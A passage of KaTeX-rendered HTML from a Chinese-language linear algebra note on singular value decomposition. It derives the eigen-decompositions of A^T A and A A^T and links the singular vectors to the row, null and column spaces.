mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>v</mi><mi>j</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> A v_j = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，对应的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>σ</mi><mi>j</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \sigma_j = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><p>为了找到这些向量和缩放因子，可以考虑 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mo>=</mo><mi>V</mi><msup><mi mathvariant="normal">Σ</mi><mi>T</mi></msup><msup><mi>U</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A^T = V \Sigma^T U^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，得到</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi><mo>=</mo><mo stretchy="false">(</mo><mi>V</mi><msup><mi mathvariant="normal">Σ</mi><mi>T</mi></msup><msup><mi>U</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>U</mi><mi mathvariant="normal">Σ</mi><msup><mi>V</mi><mi>T</mi></msup><mo stretchy="false">)</mo><mo>=</mo><mi>V</mi><msup><mi mathvariant="normal">Σ</mi><mi>T</mi></msup><mi mathvariant="normal">Σ</mi><msup><mi>V</mi><mi>T</mi></msup><mo>=</mo><mi>V</mi><msup><mi mathvariant="normal">Σ</mi><mn>2</mn></msup><msup><mi>V</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex">A^T A = (V \Sigma^T U^T)(U \Sigma V^T) = V \Sigma^T \Sigma V^T = V \Sigma^2 V^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1413em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">Σ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord">Σ</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span></span></p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex"> A^TA </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span> 是对称矩阵，可以进行特征值分解，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi></mrow><annotation encoding="application/x-tex"> V </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>A</mi><mi>T</mi></msup><mi>A</mi></mrow><annotation encoding="application/x-tex"> A^TA </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span></span></span></span> 的特征向量矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="normal">Σ</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex"> \Sigma^2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span> 是对应的特征值对角矩阵。<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi></mrow><annotation encoding="application/x-tex"> V </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Σ</mi></mrow><annotation encoding="application/x-tex"> \Sigma </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Σ</span></span></span></span> 可以计算得到。</p><p>以及，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msup><mi>A</mi><mi>T</mi></msup><mo>=</mo><mi>U</mi><mi mathvariant="normal">Σ</mi><msup><mi mathvariant="normal">Σ</mi><mi>T</mi></msup><msup><mi>U</mi><mi>T</mi></msup><mo>=</mo><mi>U</mi><msup><mi mathvariant="normal">Σ</mi><mn>2</mn></msup><msup><mi>U</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A A^T = U \Sigma \Sigma^T U^T = U \Sigma^2 U^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">Σ</span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>U</mi></mrow><annotation encoding="application/x-tex"> U </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msup><mi>A</mi><mi>T</mi></msup></mrow><annotation encoding="application/x-tex"> A A^T </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span></span></span></span> 的特征向量矩阵，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="normal">Σ</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex"> \Sigma^2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">Σ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span> 也是对应的特征值对角矩阵，也可以计算得到。</p><p>从四大子空间上看：</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>v</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>v</mi><mi>r</mi></msub></mrow><annotation encoding="application/x-tex"> v_1, v_2, \ldots, v_r </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，它们是行空间的基，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>v</mi><mi>i</mi></msub><mo>=</mo><msub><mi>σ</mi><mi>i</mi></msub><msub><mi>u</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex"> A v_i = \sigma_i u_i </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 映射到列空间上</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>v</mi><mrow><mi>r</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>v</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> v_{r+1}, v_{r+2}, \ldots, v_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，它们是零空间的基，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>v</mi><mi>j</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> A v_j = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 映射到零向量，对应的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>σ</mi><mi>j</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> \sigma_j = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>u</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>u</mi><mi>r</mi></msub></mrow><annotation encoding="application/x-tex"> u_1, u_2, \ldots, u_r </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，它们是列空间的基</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mrow><mi>r</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>u</mi><mrow><mi>r</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>u</mi><mi>m</mi></msub></mrow><annotation encoding="application/x-tex"> u_{r+1}, u_{r+2}, \ldots, u_m </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span 